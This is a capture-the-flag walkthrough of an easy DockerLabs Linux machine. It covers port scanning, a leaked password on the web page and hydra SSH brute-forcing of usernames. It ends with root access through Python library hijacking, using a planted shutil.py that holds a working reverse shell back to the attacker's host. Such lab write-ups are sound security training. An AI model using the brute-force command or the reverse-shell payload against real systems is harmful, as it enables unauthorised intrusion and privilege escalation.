DockerLabs — https://dockerlabs.es/
- Platform: DockerLabs
- OS: Linux
- Difficulty: Easy
Enumeration
Scan
22/tcp open ssh OpenSSH 9.6p1 Ubuntu 3ubuntu13 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 f9:f6:fc:f7:f8:4d:d4:74:51:4c:88:23:54:a0:b3:af (ECDSA)
|_ 256 fd:5b:01:b6:d2:18:ae:a3:6f:26:b2:3c:00:e5:12:c1 (ED25519)
80/tcp open http Apache httpd 2.4.58 ((Ubuntu))
|_http-server-header: Apache/2.4.58 (Ubuntu)
|_http-title: Apache2 Ubuntu Default Page: It works
SSH (22)
Passwordbased authentication
❯ ssh root@172.17.0.2
The authenticity of host '172.17.0.2 (172.17.0.2)' can't be established.
ED25519 key fingerprint is: SHA256:Hvih5sjfx4Qwfp0rb0aWHkFvIxZbFo+cyOaoqbCHXSI
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '172.17.0.2' (ED25519) to the list of known hosts.
root@172.17.0.2's password:
HTTP (80)
80/tcp open http Apache httpd 2.4.58 ((Ubuntu))
|_http-server-header: Apache/2.4.58 (Ubuntu)
|_http-title: Apache2 Ubuntu Default Page: It works
Software versions
Apache 2.4.58
Initial enumeration
[03:13:03] 200 - 26B - /index.php
[03:13:04] 301 - 313B - /javascript -> http://172.17.0.2/javascript/
index.php
❯ curl http://172.17.0.2/index.php
<h1>JIFGHDS87GYDFIGD</h1>
JIFGHDS87GYDFIGD could be:
- posible directory
- posible password
JIFGHDS87GYDFIGD is not a directory
❯ curl -v http://172.17.0.2/JIFGHDS87GYDFIGD
* Trying 172.17.0.2:80...
* Established connection to 172.17.0.2 (172.17.0.2 port 80) from 172.17.0.1 port 56150
[...]
* Request completely sent off
< HTTP/1.1 404 Not Found
< Date: Sun, 01 Feb 2026 02:35:06 GMT
< Server: Apache/2.4.58 (Ubuntu)
< Content-Length: 272
< Content-Type: text/html; charset=iso-8859-1
JIFGHDS87GYDFIGD seems to be a password
- Command
hydra -p JIFGHDS87GYDFIGD ssh://172.17.0.2 \
-L /usr/share/seclists/Usernames/xato-net-10-million-usernames-dup.txt
- Output
[DATA] attacking ssh://172.17.0.2:22/
[22][ssh] host: 172.17.0.2 login: carlos password: JIFGHDS87GYDFIGD
SSH credentials (carlos)
carlos:JIFGHDS87GYDFIGD
Exploitation
SSH access as carlos
- Using credentials above
carlos@f30a87c60cd5:~$ id
uid=1001(carlos) gid=1001(carlos) groups=1001(carlos)
Post-exploitation
Users with a shell
root:x:0:0:root:/root:/bin/bash
ubuntu:x:1000:1000:Ubuntu:/home/ubuntu:/bin/bash
carlos:x:1001:1001::/home/carlos:/bin/bash
SUDO permissions (carlos)
carlos@f30a87c60cd5:~$ sudo -l
Matching Defaults entries for carlos on f30a87c60cd5:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty
User carlos may run the following commands on f30a87c60cd5:
(ALL) NOPASSWD: /usr/bin/python3 /opt/script.py
/opt/script.py
carlos@f30a87c60cd5:~$ ls -l /opt/script.py
-r-xr--r-- 1 carlos root 272 May 7 2024 /opt/script.py
carlos@f30a87c60cd5:~$ cat /opt/script.py
import shutil
def copiar_archivo(origen, destino):
shutil.copy(origen, destino)
print(f'Archivo copiado de {origen} a {destino}')
if __name__ == '__main__':
origen = '/opt/script.py'
destino = '/tmp/script_backup.py'
copiar_archivo(origen, destino)
Python Library Hijacking
- We created a new
shutil.pyin/opt
carlos@f30a87c60cd5:/opt$ cat shutil.py
import socket,subprocess,os
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("172.17.0.1",1337))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
import pty
pty.spawn("/bin/bash")
Privesc to root
❯ nc -nvlp 1337
listening on [any] 1337 ...
connect to [172.17.0.1] from (UNKNOWN) [172.17.0.2] 60842
root@f30a87c60cd5:/opt# id
id
uid=0(root) gid=0(root) groups=0(root)